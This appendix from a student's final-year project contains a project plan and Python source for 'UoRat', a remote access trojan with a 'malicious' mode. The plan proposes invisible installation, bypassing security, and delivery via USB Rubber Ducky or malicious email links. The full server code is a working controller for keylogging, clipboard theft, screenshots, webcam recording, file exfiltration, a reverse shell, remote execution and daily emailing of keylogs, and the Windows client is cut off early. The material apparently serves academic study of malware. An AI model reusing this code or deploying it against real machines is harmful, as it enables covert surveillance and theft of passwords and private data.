APPENDIX:

A1.0: Github Repository Link: https://github.com/Dannybrush/Final-Year-Project-
A1.1: https://docs.google.com/document/d/18h-Wq6vCnHxcFpDJp0chHdS4fPk5CAbhFzH-_OX77qY/edit?usp=sharing

A2: PID – Project Initiation Document

Individual Project (CS3IP16)

Department of Computer Science
University of Reading

Project Initiation Document

PID Sign-Off

Student No.	**27016005**
Student Name	**Daniel Broomhead**
Email	**D.L.Broomhead@student.reading.ac.uk**
Degree programme (BSc CS/BSc CSwIY)	**BSc CS**
Supervisor Name *(Consultation with supervisor is mandatory)*	**Mohammed Al-Khafajiy**
	Supervisor to sign PID form on Bb (grade centre)
Date	**08/10/2020**

SECTION 1 – General Information

Project Identification

1.1	**Project Title**
	Investigating the parallels between using a RAT-style software for malicious intent and virtuous purposes.
1.2	**Please describe the project with key-phrases (max 5)**
	RAT, Security, Support, Malware, Trojan, Investigating the use of RAT for malicious and good
1.3	**E-logbook maintenance agreed with supervisor** *Use Google doc, OneDrive, or any mobile App whereby you will be able to generate a PDF copy*
	OneDrive
1.4	**GitLab link for maintain source code and research data** *Any change in GitLab link and Source code repository MUST be explicitly mention in final report*
	https://csgitlab.reading.ac.uk/br016005/final-year-project

SECTION 2 – Project Description

2.1	**Summarise the project's background in terms of research field /application domain (max 100 words).**
	RAT = Remote Administration(/access) Tool(/Trojan) The background of this software breaches across many different fields of computer science, for example, the design and implementation demonstrates the key fundamentals of software engineering, while the actual implications of the software lie heavily in the cyber security field - representing both offensive security, defensive security and malware. The project delves into the applications of a remote administration/access tool, the social, ethical, and legal ramifications of implementing one, and the possible dangers that may be associated with one. The Development, Production, Delivery, Deployment, and implementation of a RAT style software. Demonstrating how the same style of software can be used as a malicious weapon but also a very useful admin and support tool. I am to show the parallels between software which can be used for the greater good, and the greater evil.
2.2	**Summarise the project aims, objectives and outputs (max 250 words).** These aims, objectives, and outputs should appear as the tasks, milestones, and deliverables in your project plan (fill out Section 3).

The project aims to demonstrate to the reader the effectiveness of a RAT-style piece of software, and the various uses of one.
Aims:
To create a fully working RAT-style Application which can demonstrate the differences and parallels between piece of software developed solely for good intentions and one developed with malicious objectives.

The objectives:
Research into RAT-style software
Create a basic RAT-Style Prototype

- admin privileges.
- Test on a compromised system.
- Basic UI
- access to target via file system
- access to target via full control
- hooking to target
- passive monitoring of target
- capture of keyboard
- capture of mouse
- capture of clipboard

Advance to a hidden Malicious style RAT prototype. **creepware**

- Invisible
- bypass security and firewalls
- undetected installation

Advance to a support utility style RAT prototype.

- Clear prompts
- user disconnect option
- visual aids
- logs for client
- Show the differences between the two

Delivery methods:

- investigate the different methods used to obtain access to a system and install the RAT software
- show how these differ between legal uses of the software and illegally intended uses.

Social, Legal, Ethical Aspects:

- Investigate the SLE aspects of a legal RAT and a Malicious RAT.
- Investigate scamware

Outputs:

Successfully design and develop a fully working Remote access tool.
Demonstrate the differences between a RAT designed for Assistance / Aid and one designed for malicious intent.
Demonstrate the various delivery methods possible to get a RAT onto the target device.
This project should discuss the vulnerabilities to a malicious RAT and how to attempt to protect yourself from this sort of attack.

2.3	**Initial project specification – roughly indicate key features and functions of your finished program/application. Indicate possible method, data source, technology etc. (max 400 words)** (Sensible and relevant Charts, Table, and Figures can be used) SIPOC
	A working remote access tool which has the potential to be used for good purposes and evil purposes. Must be able to see the target computer: the program cannot connect to a device it cannot recognise, therefore must be able to see it. Must be able to connect to the target computer: must be able to successfully connect to the target device via internet or across a local connection. Must allow application user to monitor target's activity, manage files, install additional software, control entire system, including any present application or hardware device, modify main system settings, turn off or restart computer. Ideally would allow monitoring behaviours through keylogging etc, accessing confidential information and passwords. The ability to take screenshot, manage peripherals such as activating a system's webcam and recording the video, formatting drives, deleting, downloading, and altering files/file systems, as well as distributing files. Should give full control over the target computer. This should range from controlling the filesystem, to capturing the mouse, keyboard and even clipboard contents, Does not need to be able to turn on computer! Just hook to a computer once it is turned on. Either two separate RATs, one malicious and one for software aid – or if possible, one RAT with a switch between sinister mode and legitimate mode. There are many ideas that could be implanted into the switch, such as making the program look like it has crashed and exited while still maintaining full functionality. For the sinister mode, inconspicuousness is key, there should be minimal to no indication that the system has been compromised, there should be as few visual clues possible, while maintain maximum performance, ideally the program should be running completely invisibly in the background, like a daemon, may have features to bypass security. For the legitimate version, almost the complete opposite is true, visual clues are absolutely essential, the target computer should be able to disconnect at any point if the user feels that something is not right, the system should time out after idling for too long, and most definitely should not be running in the background without the users permissions. Must have multiple delivery methods, such as via USB RubberDucky, Cloning via a git repo, sideloading, malicious email links, and giving permission to install (legitimate version). I also intend to discuss the security side of things throughout the project, ranging to protecting yourself from them, to the implication of how the exact same software at the most basic level can be extremely dangerous but also significantly helpful based on way it is used.
2.4	**Describe the social, legal, and ethical issues that apply to your project. Does your project require ethical approval? (If your project requires a questionnaire/interview for conducting research and/or collecting data, you will need to apply for an ethical approval)**

	All of the issues that apply with the project are only prominent in the case of using this software on devices that I do not own, or devices not being used for testing and demonstration purposes only. In these cases there are no legal, social, ethical, or moral implications. In the event that this project gets extended to be tested on other devices, and For the demonstration of the possible malicious applications of this program, there are many SLE issues, therefore I will need consent from the system owner or to test it on a local system . GDPR issues. Personal issues. Mental issues. Computer Misuse Act. Data Protection Act.
2.5	**Identify the items you may need to purchase for your project. A cost up to £200 can be applied (include VAT and shipping if known). You need to have consent of your supervisor. Your request will be assessed by the department.**
	Various delivery formats, USB rubber Ducky, etc ≈ \$50 https://shop.hak5.org/products/usb-rubber-ducky-deluxe?variant=353378649 Or Bash Bunny = https://www.amazon.co.uk/Hak5-BASH-BUNNY-HAK5/dp/B0725Q36NJ or ≈\$199 https://shop.hak5.org/products/usb-rubber-ducky-deluxe?variant=31762628378737 Debugging Rubber Duck (little yellow one preferably) £2.79
2.6	**State whether you need access to specific resources within the department or the University e.g. special devices and workshop**
	An internet connected device which I can test the software's functionality and various delivery methods on. Admin privileges on a system. permission to boot from external drive.

llSECTION 3 - Project Plan

Please provide your project plan.

Below is an example project plan, you can use any tool or software to generate yours.

	START DATE: ../../…. <enter the project start date here> **Project Weeks**												
Project stage	0-3	3-6	6-9	9-12	12-15	15-18	18-21	21-24	24-27	27-30	30-33	33-36	36-39
1 Background Research	■	■	■	■	■	■							
2 Analysis/Design		■	■	■	■	■							
3 Develop prototype				■	■	■	■	■	■	■			
							■	■	■	■	■		
4 Testing/evaluation/validation													
5 Assessments		■	■		■	■		■	■		■	■	■

A3.0 – UoRat_S.py -> Server Code:

```
"""
+-----------------------------------------------------------------------+
|                               UoRat                                   |
|    Author: 27016005                                                   |
|    Version: 1.0.0              Deployment                             |
|    Last update: 29-04-2021 (dd-mm-yyyy)                               |
|                                                                       |
|                  [   ONLY FOR EDUCATIONAL PURPOSES   ]                |
+-----------------------------------------------------------------------+
------- CONFIGURATION ------
In order to use this tool you will need to do some minor tweaking:
    1. The Server's IP gets automatically set by taking the address from /etc/hosts (Linux),
            check if your LAN address exists in this file. I had to put it manually since there was only localhost.
    2. Select a PORT number, the default value set in the client file is 1337
    3. Change file paths, Default values but they may be changed.
------ NOTE ------
This code was tested and developed on a Windows machine, in theory it should work on Linux - it may not work on
other machines.
"""

import socket
import sys
import os
import time
import random
import string
from zipfile import ZipFile

import cv2


class Server:
    # '''SOCKET SET UP STARTS HERE'''
    def __init__(self, ip, port, buffer_size):
        self.IP = ip
        self.PORT = port
        self.BUFFER_SIZE = buffer_size
        self.connections = []  # connections list
        self.info = ""  # info about target
        self.recvcounter = 0  # counter for received files
        self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.Switcher = {
            "-msgbox": self.systemmsg,
            "-msg": self.sendMsg,
            "-shutdown": self.shutdown,
            "-shutdownM": self.shutdownmessage,
            "-lock": self.locksystem,
            "-restart": self.restartsystem,
            "-EpIV": self.playstarwars,
            "-chess": self.playchess,
            "-weather": self.weather,
            "-telnet": self.enableTN,
            "-KLstart": self.startKeyLogger,
            # "-KLend": self.stopKeyLogger,
            "-getLogs": self.getKeyLogs,
            "-getcb": self.getClipBoard,
            "-Fsend": self.filesend,
            "-Frecv": self.filereceive,
            "-ginfo": self.getTargetInfo,
            "-exe": self.exePy,
            "-ss": self.screenshot,
            "-vid": self.vidByFrames,
            "-WCrec": self.webcamRec,
            "-WCplay": self.webcamPlay,
            "-shell": self.cmdctrl,
            "-email": self.email,
            "-dailymail": self.startEmailthread,
            "-endmailer": self.stopEmailThread,
            "-clear": self.clear,
            "-drop": self.closeConnection,
            "-disc": self.disconnectTarget,
            "-menu": self.mainmenu
        }

    def label(self):
        print('''
|  |  |  |  /  __  \  |   _  \        /   \  |           |
|  |  |  | |  |  |  | |  |_)  |      /  ^  \ `---|  |----`
|  |  |  | |  |  |  | |      /      /  /_\  \    |  |
|  `--'  | |  `--'  | |  |\  \----./ ______  \   |  |
 \______/   \______/  | _| `._____/__/     \__\  |__|
                                                 ''')

    def mainmenu(self):

        Switcher = {
            "-msgbox": "Send a custom Alert Messagebox",
            "-msg": "\tSend a console message",
            "-shutdown": "Shutdown the target device",
            "-shutdownM": "Shutdown the target device, with a custom message",
            "-lock": "\tLock the target Device",
            "-restart": "Restart the target system",
            "-EpIV": "\tConnect to a telnet server which plays an ASCII Animation of Star Wars EpIV: A New Hope",
            "-chess": "Connect to a telnet server allowing the victim to play chess",
            "-weather": "Opens a telnet based weather forecasting service",
            "-telnet": "Enables Telnet on the targets device - providing they have permissions",
            "-KLstart": "Start the keylogger",
            # "-KLend": "Stop the Keylogger",
            "-getLogs": "Retrieve the keylogs",
            "-getcb": "Retrieve the clipboard contents and save to file",
            "-Fsend": "Send a file from the Victim to this device",
            "-Frecv": "Send a file from this device to the victim",
            "-ginfo": "Obtain as much information from the victim as possible",
            "-exe": "\tRun an Executable file or Script",
            "-ss": "\tTake a screenshot of the target device",
            "-vid": "\tTake a series of screenshots which can be used to make a video",
            "-WCrec": "Record (& Retrieve)the webcam from the targets device",
            "-WCplay": "Play The Recorded Webcam frames",
            "-shell": "Non interactive Reverse Shell - Enter CMD Commands to be executed on the target device",
            "-email": "Email contents of a chosen file",
            "-dailymail": "Start a thread to Email the keylog files at a given time everyday",
            "-endmailer": "Stop the email schedule thread",
            "-drop": "\tDrop the connection",
            # "-disc": "\tDisconnect session, keep client alive ",
            "-clear": "Clear Console",
            "-Menu": "\tPrint this menu again"
        }
        print("\nCommand: \t\t Description:\n")
        for k, v in Switcher.items():
            print(k + ": \t\t" + v)
        print("\n")

    def startEmailthread(self):
        command = "-dailymail"
        self.client_socket.send(command.encode('utf-8'))
        response = self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8')
        print(response)

    def stopEmailThread(self):
        command = "-endmailer"
        self.client_socket.send(command.encode('utf-8'))
        response = self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8')
        print(response)

    def clear(self):
        os.system("cls")

    def startServer(self):
        self.server.bind((self.IP, self.PORT))
        self.server.listen(2)
        self.acceptConnections()

    def acceptConnections(self):
        print(self.IP)
        print("*** Listening for incoming connections ***")

        self.client_socket, self.address = self.server.accept()
        print(f"*** Connection from {self.address} has been established! ***")
        self.connections.append(self.client_socket)
        # # safemode

        mode = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        print(mode)
        if mode == "2":
            print("[-] Virtuous mode")
            self.connectionconfirm()
        else:
            print("[-] Malicious mode")
        self.commands()
        # # print("hello worlds")

    def generatekey(self):
        # Creates a password containing uppercase, lowercase, numerical digits and punctuation.
        letters = (string.ascii_letters + string.digits + string.punctuation)
        code = ''.join(random.choices(letters, k=10))
        # print("Key =  " + code)
        return code

    def connectionconfirm(self):
        key = self.generatekey()
        print("[##] Key =  " + key)

        self.client_socket.send(key.encode("utf-8"))

        response = self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8')
        if response == "[#] KEY MISMATCH":
            self.closeConnection()

    def closeConnection(self):
        self.client_socket.send("-drop".encode('utf-8'))
        self.connections.remove(self.client_socket)
        self.client_socket.close()
        self.server.close()
        sys.exit()

    def disconnectTarget(self):
        self.client_socket.send("-disc".encode('utf-8'))
        self.connections.remove(self.client_socket)
        self.client_socket.close()
        sys.exit()
        # self.client_socket.send("-disc".encode('utf-8'))
        # self.connections.remove(self.client_socket)
        # self.client_socket.close()
        # self.server.close()
        # print("*** Killed")

    # try to update the buffer with recv sized
    def updateBuffer(self, size):
        buff = ""
        for counter in range(0, len(size)):
            if size[counter].isdigit():
                buff += size[counter]

        return int(buff)

    # for files bigger than buffer
    def saveBigFile(self, size, buff):
        full = b''
        while True:
            if sys.getsizeof(full) >= size:
                break

            recvfile = self.client_socket.recv(buff)

            full += recvfile

        return full

    # ''' SOCKET SET UP ENDS HERE '''

    # ''' COMMAND FUNCTIONS START HERE'''
    '''WINDOWS FUNCTIONS'''

    def sendMsg(self):
        command = "-msg"
        self.client_socket.send(command.encode('utf-8'))
        msg = input("[+] Enter message: ")
        time.sleep(2)
        self.client_socket.send(msg.encode('utf-8'))
        print(msg)
        results = (self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8'))
        print(results)
    def shutdown(self):
        command = "-shutdown"
        self.client_socket.send(command.encode("utf-8"))

        self.client_socket.close()
        print(f"[!] {self.address[0]} has been Shut Down")

        # locks the user out while keeping connection up

    def shutdownmessage(self):
        command = "-shutdownM"
        self.client_socket.send(command.encode("utf-8"))
        msg = input("[+] Enter message: ")
        time.sleep(2)
        self.client_socket.send(msg.encode('utf-8'))
        print(msg)
        results = (self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8'))
        print(results)

        self.client_socket.close()
        print(f"[!] {self.address[0]} has been Shut Down")

    def locksystem(self):
        command = "-lock"
        self.client_socket.send(command.encode("utf-8"))
        response = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        print(response)

    def restartsystem(self):
        command = "-restart"
        self.client_socket.send(command.encode("utf-8"))
        response = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        print(response)


    def systemmsg(self):
        command = "-msgbox"
        self.client_socket.send(command.encode('utf-8'))
        msg = input("[+] Enter message: ")
        time.sleep(2)
        self.client_socket.send(msg.encode('utf-8'))
        print(msg)
        results = (self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8'))
        print(results)

    # '''TELNET FUNCTIONS'''
    def playstarwars(self):
        command = "-EpIV"
        self.client_socket.send(command.encode("utf-8"))
        status = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        if status == "SUCCESS":
            print(f"[!] {self.address[0]} is now watching Star Wars Episode IV:  A New Hope")
        else:
            print("Something went Wrong")
        print(status)

    def playchess(self):
        command = "-chess"
        self.client_socket.send(command.encode("utf-8"))
        status = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        if status == "SUCCESS":
            print(f"[!] {self.address[0]} is now Playing Chess!! ♜ ♞  ♝  ♛  ♚  ♝  ♞  ♜")
        else:
            print("Something went Wrong")
        print(status)

    def weather(self):
        command = "-weather"
        self.client_socket.send(command.encode("utf-8"))
        status = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        if status == "SUCCESS":
            print(f"[!] {self.address[0]} is checking the weather! ")
        else:
            print("Something went Wrong")
        print(status)

    def enableTN(self):
        command = "-telnet"
        self.client_socket.send(command.encode("utf-8"))
        status = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        if status == "SUCCESS":
            print(f"[!] {self.address[0]} *SHOULD* now have Telnet Client Enabled")
        else:
            print("Something went Wrong")
        print(status)

    # ''' KEYLOGGER FUNCTIONS '''
    def startKeyLogger(self):
        command = "-KLstart"
        self.client_socket.send(command.encode("utf-8"))
        response = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        print(response)

    def stopKeylogger(self):
        command = "-KLend"
        self.client_socket.send(command.encode("utf-8"))
        response = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        print(response)

    def retrievelogs(self):

        # """ Receiving the keylogger files """
        command = "--getlogs"
        self.client_socket.send(command.encode("utf-8"))

        flag = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        if flag == "[OK]":
            # recv size
            size = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
            time.sleep(0.1)

            if int(size) <= self.BUFFER_SIZE:
                # recv archive
                archive = self.client_socket.recv(self.BUFFER_SIZE)
                print("*** Got logs ***")
                with open('../receivedfile/keylogs.zip', 'wb+') as output:
                    output.write(archive)

                print("*** Logs saved ***")

            else:
                # update buffer
                buff = self.updateBuffer(size)

                # recv archive
                fullarchive = self.saveBigFile(int(size), buff)

                print("*** Got logs ***")
                with open('../receivedfile/keylogs.zip', 'wb+') as output:
                    output.write(fullarchive)

                print("*** Logs saved ***")
        else:
            print("[!] FATAL: Logs do not exist!")

    def getKeyLogs(self):
        """ Receiving the keylogger files """

        command = "--getlogs"
        self.client_socket.send(command.encode("utf-8"))

        flag = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        if flag == "[OK]":
            # recv size
            size = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
            time.sleep(0.1)

            if int(size) <= self.BUFFER_SIZE:
                # recv archive
                archive = self.client_socket.recv(self.BUFFER_SIZE)
                print("*** Got logs ***")

                with open('../receivedfile/keylogs.zip', 'wb+') as output:
                    output.write(archive)
                print("*** Logs saved ***")

            else:
                # update buffer
                buff = self.updateBuffer(size)

                # recv archive
                fullarchive = self.saveBigFile(int(size), buff)

                print("*** Got logs ***")
                with open('../receivedfile/keylogs.zip', 'wb+') as output:
                    output.write(fullarchive)

                print("*** Logs saved ***")
        else:
            print("[!] FATAL: Logs do not exist!")

    def getClipBoard(self):
        """ Get victim' clipboard in plain text """
        command = "-getcb"
        self.client_socket.send(command.encode("utf-8"))
        # recv clipboard
        cb = self.client_socket.recv(self.BUFFER_SIZE)
        print("*** Got clipboard ***")
        with open('../receivedfile/cb.txt', 'w+') as f:
            f.write(cb.decode("utf-8"))
        print("*** Wrote it to cb.txt ***")

    # ''' FILE HANDLING '''
    def filesend(self):
        command = "-Fsend"
        self.client_socket.send(command.encode("utf-8"))

        path = input("[+] Enter the file path of the designated folder (NOT A SINGLE FILE): ")
        self.client_socket.send(path.encode("utf-8"))

        response = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        if response == "[*] Success":
            size = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
            print("Size  = " + size)
            time.sleep(0.1)
            if int(size) <= self.BUFFER_SIZE:
                # recv archive
                archive = self.client_socket.recv(self.BUFFER_SIZE)
                print("*** Got small file ***")

                with open(f'../receivedfile/received{str(self.recvcounter)}.zip', 'wb+') as output:
                    output.write(archive)

                print("*** File saved ***")
                self.recvcounter += 1
            else:
                # update buffer
                buff = self.updateBuffer(size)

                # recv archive
                fullarchive = self.saveBigFile(int(size), buff)

                print("*** Got large file *** ")
                with open(f'../receivedfile/received{str(self.recvcounter)}.zip', 'wb+') as output:
                    output.write(fullarchive)

                print("*** File saved ***")
                self.recvcounter += 1
        else:
            print(response)

    def filereceive(self):
        command = "-Frecv"
        self.client_socket.send(command.encode('utf-8'))

        while True:
            try:
                path = input("[+] Enter file path: ")

                if not os.path.exists(path):
                    raise FileNotFoundError
                else:
                    break
            except FileNotFoundError:
                print("[!] File not found, retry")

        name = input(
            "[+] Enter the name to save this file as on the victims device (include file extension): ")  # file
name, must include extension
        self.client_socket.send(name.encode("utf-8"))

        with open(path, 'rb') as to_send:
            fsize = os.path.getsize(path)
            self.client_socket.send(str(fsize).encode('utf-8'))
            time.sleep(1)

            data = to_send.read()
            self.client_socket.send(data)
        print("*** File sent ***")

    def email(self):
        command = "-email"
        self.client_socket.send(command.encode('utf-8'))
        path = input("[+] Enter the file path of the designated file to have emailed: ")
        self.client_socket.send(path.encode("utf-8"))
        response = self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8')
        print(response)

    # ''' MISC '''

    def getTargetInfo(self):
        print("here")
        command = "-ginfo"
        self.client_socket.send(command.encode("utf-8"))

        info = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
        print("info = " + info)
        more = self.client_socket.recv(self.BUFFER_SIZE)
        print("more = " + str(more))
        ##### EVEN MORE IS LARGER THAN BUFFER SIZE ######
```

```python
        emsize = self.client_socket.recv(self.BUFFER_SIZE).decode("UTF-8")
        print("emsize =" + str(emsize))
        if int(emsize) >= self.BUFFER_SIZE:
            print("This is a large output")
            buff = self.updateBuffer(emsize)
            print("buffer = " + str(buff))
            evenmore = self.saveBigFile(int(emsize), buff)
            print("evenmore =" + str(evenmore.decode('utf-8')))
        else:
            evenmore = self.client_socket.recv(self.BUFFER_SIZE)
        moresysinfo = input("Would you like to see more?: ")
        if moresysinfo == "yes":
            print(more.decode('utf-8'))

        print(moresysinfo + "\n\n")
        """ writing additional information in a file """

        with open('../receivedfile/info.txt', 'wb+') as f, open('./logs/moreinfoS.txt', 'wb+') as m:
            f.write(more)
            m.write(evenmore)
            print("DONE")
        # with open('./logs/moreinfoS.txt', "rb+") as m:
        # print(m.read())
        print("\n# OS:" + info)
        print("# IP:" + self.address[0])
        print("*** Check info.txt for more details on the target ***")
        print("**** Check moreinfo.txt for even more details on the target ****")

        return info

    def exePy(self):
        command = "-exe"
        self.client_socket.send(command.encode('utf-8'))
        filename = input("[+] Enter the full filepath: ")
        self.client_socket.send(filename.encode('utf-8'))
        print("FilePath Sent")
        response = self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8')
        print("*** " + response + " *** ")
    # ''' SCREENSHOT FUNCTIONS '''
    def screenshot(self):
        command = "-ss"
        self.client_socket.send(command.encode('utf-8'))

        # recv file size
        recvsize = self.client_socket.recv(self.BUFFER_SIZE).decode('utf-8')
        time.sleep(0.1)

        # updating buffer
        buff = self.updateBuffer(recvsize)

        # getting the file
        print("*** Saving screenshot ***")
        fullscreen = self.saveBigFile(int(recvsize), buff)

        # saving the file
        with open(f'../receivedfile/{time.time()}.png', 'wb+') as screen:
            screen.write(fullscreen)

        print("*** File saved ***")

    def vidByFrames(self):
        # ''' this will take n*x screenshots where n = number of seconds and x = frames per seconds
        n = 5  # Number of seconds
        x = 24  # Frames per second
        for i in range(x * n):
            self.screenshot()
            time.sleep(1 / x)

    def webcamPlay(self):

        # path = f'../receivedfile/webcam{str(self.recvcounter - 1)}'
        path = f'../receivedfile/webcamS'
        path2 = f'../receivedfile/webcamS/logs/Video'
        print(str(path))
        with ZipFile(path + ".zip", 'r') as zip_ref:
            zip_ref.extractall(path)
        cv2.namedWindow(f"{self.address[0]}'s Webcam")
        with os.scandir(path2) as entries:
            for entry in entries:
                print(entry.name)
                p = str(path2) + str("/") + str(entry.name)
                x = cv2.imread(p)
                cv2.imshow(f"{self.address[0]}'s Webcam", x)
                cv2.waitKey(0)
        cv2.destroyWindow(f"{self.address[0]}'s Webcam")

    def webcamRec(self):
        command = "-WCrec"
        self.client_socket.send(command.encode("utf-8"))

        response = self.client_socket.recv(self.BUFFER_SIZE)
        if response.decode("utf-8") == "Success":
            size = self.client_socket.recv(self.BUFFER_SIZE).decode("utf-8")
            time.sleep(0.1)
            print("Size  = " + size)
            if int(size) <= self.BUFFER_SIZE:
                # recv archive
                archive = self.client_socket.recv(self.BUFFER_SIZE)
                print("*** Got small file ***")

                with open(f'../receivedfile/webcamS.zip', 'wb+') as output:
                    print("Opened file s ")
                    output.write(archive)

                print("*** File saved ***")
                self.recvcounter += 1
            else:
                # update buffer
                buff = self.updateBuffer(size)

                # recv archive
                fullarchive = self.saveBigFile(int(size), buff)

                print("*** Got large file *** ")
                with open(f'../receivedfile/webcamS.zip', 'wb+') as output:
                    print("Opened file L ")
                    output.write(fullarchive)

                print("*** File saved ***")
                self.recvcounter += 1
        else:
            print(response.decode("utf-8"))

    # ''' MAIN BULK '''
    def commands(self):
        self.label()
        self.mainmenu()
        # os.system("clear")
        while True:
            # get the command from prompt
            command = input("Enter the command you want to execute:")
            # send the command to the client
            print(command)
            # self.client_socket.send(command.encode('utf-8'))

            if command == "exit":
                # if the command is exit, just break out of the loop
                break
            else:
                try:
                    func = self.Switcher.get(command)
                    func()
                except TypeError:
                    print("This operation does not exist. ")
                except ConnectionResetError:
                    """ if target hard-closes the connection, Only RST packet (TCP) Received, so close connection
safely """
                    print("[!] Connection Reset Error")
                    self.closeConnection()
                except KeyboardInterrupt:
                    print("\n[ STOPPED RECEIVING DATA ]")
                except Exception as e:
                    print("Even I don't know how you got this error - so I'll lock the pc. " + str(e))
        sys.exit()
        # close connection to the client
        self.client_socket.close()
        # close server connection
        self.close()

        print(results)

    def cmdctrl(self):
        """ This is not a real interactive shell, you get the output
        of the command but you can't interact with it """

        print("[!] -back to exit shell")
        while True:
            cmd = input(
                f"[{self.address[0]}]$ ")  # can't .lower() here as sent commands may include uppercase characters

            if not cmd:
                print("[!] Can't send empty command.")
                continue

            if cmd.lower() == "-back":
                print("GO BACK")
                break

            time.sleep(2)
            command = "-shell"
            self.client_socket.send(command.encode("utf-8"))
            self.client_socket.send(cmd.encode("utf-8"))

            output = self.client_socket.recv(self.BUFFER_SIZE)

            if not output:
                print("NO OUTPUT")
                input()
                self.connections.remove(self.client_socket)
                self.client_socket.close()
                self.server.close()
                break
```

```python
            print(output.decode("utf-8"))


def main():
    """ Creating the necessary dirs """

    try:
        os.mkdir('../receivedfile')
    except FileExistsError:
        pass

    # banner()
    time.sleep(1)

    HOSTNAME = socket.gethostname()
    IP = socket.gethostbyname(HOSTNAME)
    PORT = 1337  # int(input("[+] Listen on port> "))
    BUFFERSIZE = 2048

    server = Server(IP, PORT, BUFFERSIZE)

    try:
        server.startServer()
    except Exception as e:
        print("*** Error while starting the server:", str(e) + " ***")
    # just sending a message, for demonstration purposes
    message = "Hello and Welcome".encode('utf-8')
    # server.client_socket.send(message)


if __name__ == "__main__":
    main()
```

A4.0: UoRat_Wc.py -> Windows Client:

```
"""

+-----------------------------------------------------------------------+
|                               UoRat                                    |
|    Author: 27016005                                                   |
|    Version: 1.0.0           Deployment                                |
|    Last update: 29-04-2021 (dd-mm-yyyy)                               |
|                                                                       |
|                 [   ONLY FOR EDUCATIONAL PURPOSES   ]                 |
+-----------------------------------------------------------------------+

"""
import datetime                                 # Scheduler
import os                                       # running commands
import platform                                 # System information
import threading

import cv2
import schedule                                 # Scheduler
import smtplib                                  # Emailer
import socket                                   # Socket Connection
import subprocess                               # Running commands
import sys                                      # System Information
import time                                     # Sleep
from pprint import pprint                       # Pretty Printing & Output
from zipfile import ZipFile                     # Zipping Archives for file transfer

from mss import mss
from pynput.keyboard import Controller, Key, Listener     # Keylogger
import pyperclip




class Client:
# ''' SET UP CONNECTION '''
    def __init__(self, server_ip, port, buffer_size, client_ip):
        self.sscount = 0
        self.SERVER_IP = server_ip
        self.PORT = port
        self.BUFFER_SIZE = buffer_size
        self.CLIENT_IP = client_ip
        self.recvcounter = 0
        self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.FinalSwitcher = {
            "-msgbox": self.MSGBOX,
            "-shutdown": self.shutdown,
            "-shutdownM": self.shutdownmessage,
            "-lock": self.locksystem,
            "-restart": self.restart,
            "-EpIV": self.playstarwars,
            "-chess": self.playchess,
            "-weather": self.weather,
            "-telnet": self.enableTN,
            "-KLstart": self.enableKeyLogger,
            "-KLend": self.disableKeyLogger,
            "-getLogs": self.keylogs,
            "-getcb": self.clipboardgrab,
            "-Fsend": self.filesend,
            "-Frecv": self.filerecv,
            "-ginfo": self.sendHostInfo,
            "-exe": self.exePy,
            "-ss": self.screenshot,
            "-shell": self.fakeshell,
            "-loop": self.endless,
            "-email": self.email,
            "-dailymail": self.startEmailthread,
            "-endmailer": self.stopEmailThread,
            "-drop": self.drop,
            "-disc": self.disc,
            "-WCrec": self.capture,
            #"-WCSend": self.sendwebcam
        }
        self.Keylogger = type(Keylogger)
    def label(self):
        print('''UUUUUUUU     UUUUUUUU                RRRRRRRRRRRRRRRRR                  AAA
TTTTTTTTTTTTTTTTTTTTTTT
U::::::U     U::::::U                R::::::::::::::::R                A:::A        T:::::::::::::::::::::T
U::::::U     U::::::U                R::::::RRRRRR:::::R              A:::::A       T:::::::::::::::::::::T
UU:::::U     U:::::UU                RR:::::R     R:::::R            A:::::::A      T:::::TT:::::::TT:::::T
 U:::::U     U:::::U   ooooooooooo     R::::R     R:::::R           A:::::::::A     TTTTTT  T:::::T  TTTTTT
 U:::::D     D:::::U oo:::::::::::oo   R::::R     R:::::R          A:::::A:::::A            T:::::T
 U:::::D     D:::::Uo:::::::::::::::o  R::::RRRRRR:::::R          A:::::A A:::::A           T:::::T
 U:::::D     D:::::Uo:::::ooooo:::::o  R:::::::::::::RR          A:::::A   A:::::A          T:::::T
 U:::::D     D:::::Uo::::o     o::::o  R::::RRRRRR:::::R        A:::::A     A:::::A         T:::::T
 U:::::D     D:::::Uo::::o     o::::o  R::::R     R:::::R      A:::::AAAAAAAAA:::::A        T:::::T
 U:::::D     D:::::Uo::::o     o::::o  R::::R     R:::::R     A:::::::::::::::::::::A       T:::::T
 U::::::U   U::::::Uo::::o     o::::o  R::::R     R:::::R    A:::::AAAAAAAAAAAAA:::::A      T:::::T
 U:::::::UUU:::::::Uo:::::ooooo:::::oRR:::::R     R:::::R   A:::::A             A:::::A   TT:::::::TT
  UU:::::::::::::UU o:::::::::::::::oR::::::R     R:::::R  A:::::A               A:::::A  T:::::::::T
    UU:::::::::UU    oo:::::::::::oo R::::::R     R:::::R A:::::A                 A:::::A T:::::::::T
      UUUUUUUUU      ooooooooooo   RRRRRRRR     RRRRRRRAAAAAAA                   AAAAAAATTTTTTTTTTT

27016005
''')
    def disc(self):
        sys.exit()

    def drop(self):
        global run
        run = False
        sys.exit()

    def connectToServer(self):
        self.client.connect((self.SERVER_IP, self.PORT))

    def confirmconnection(self):
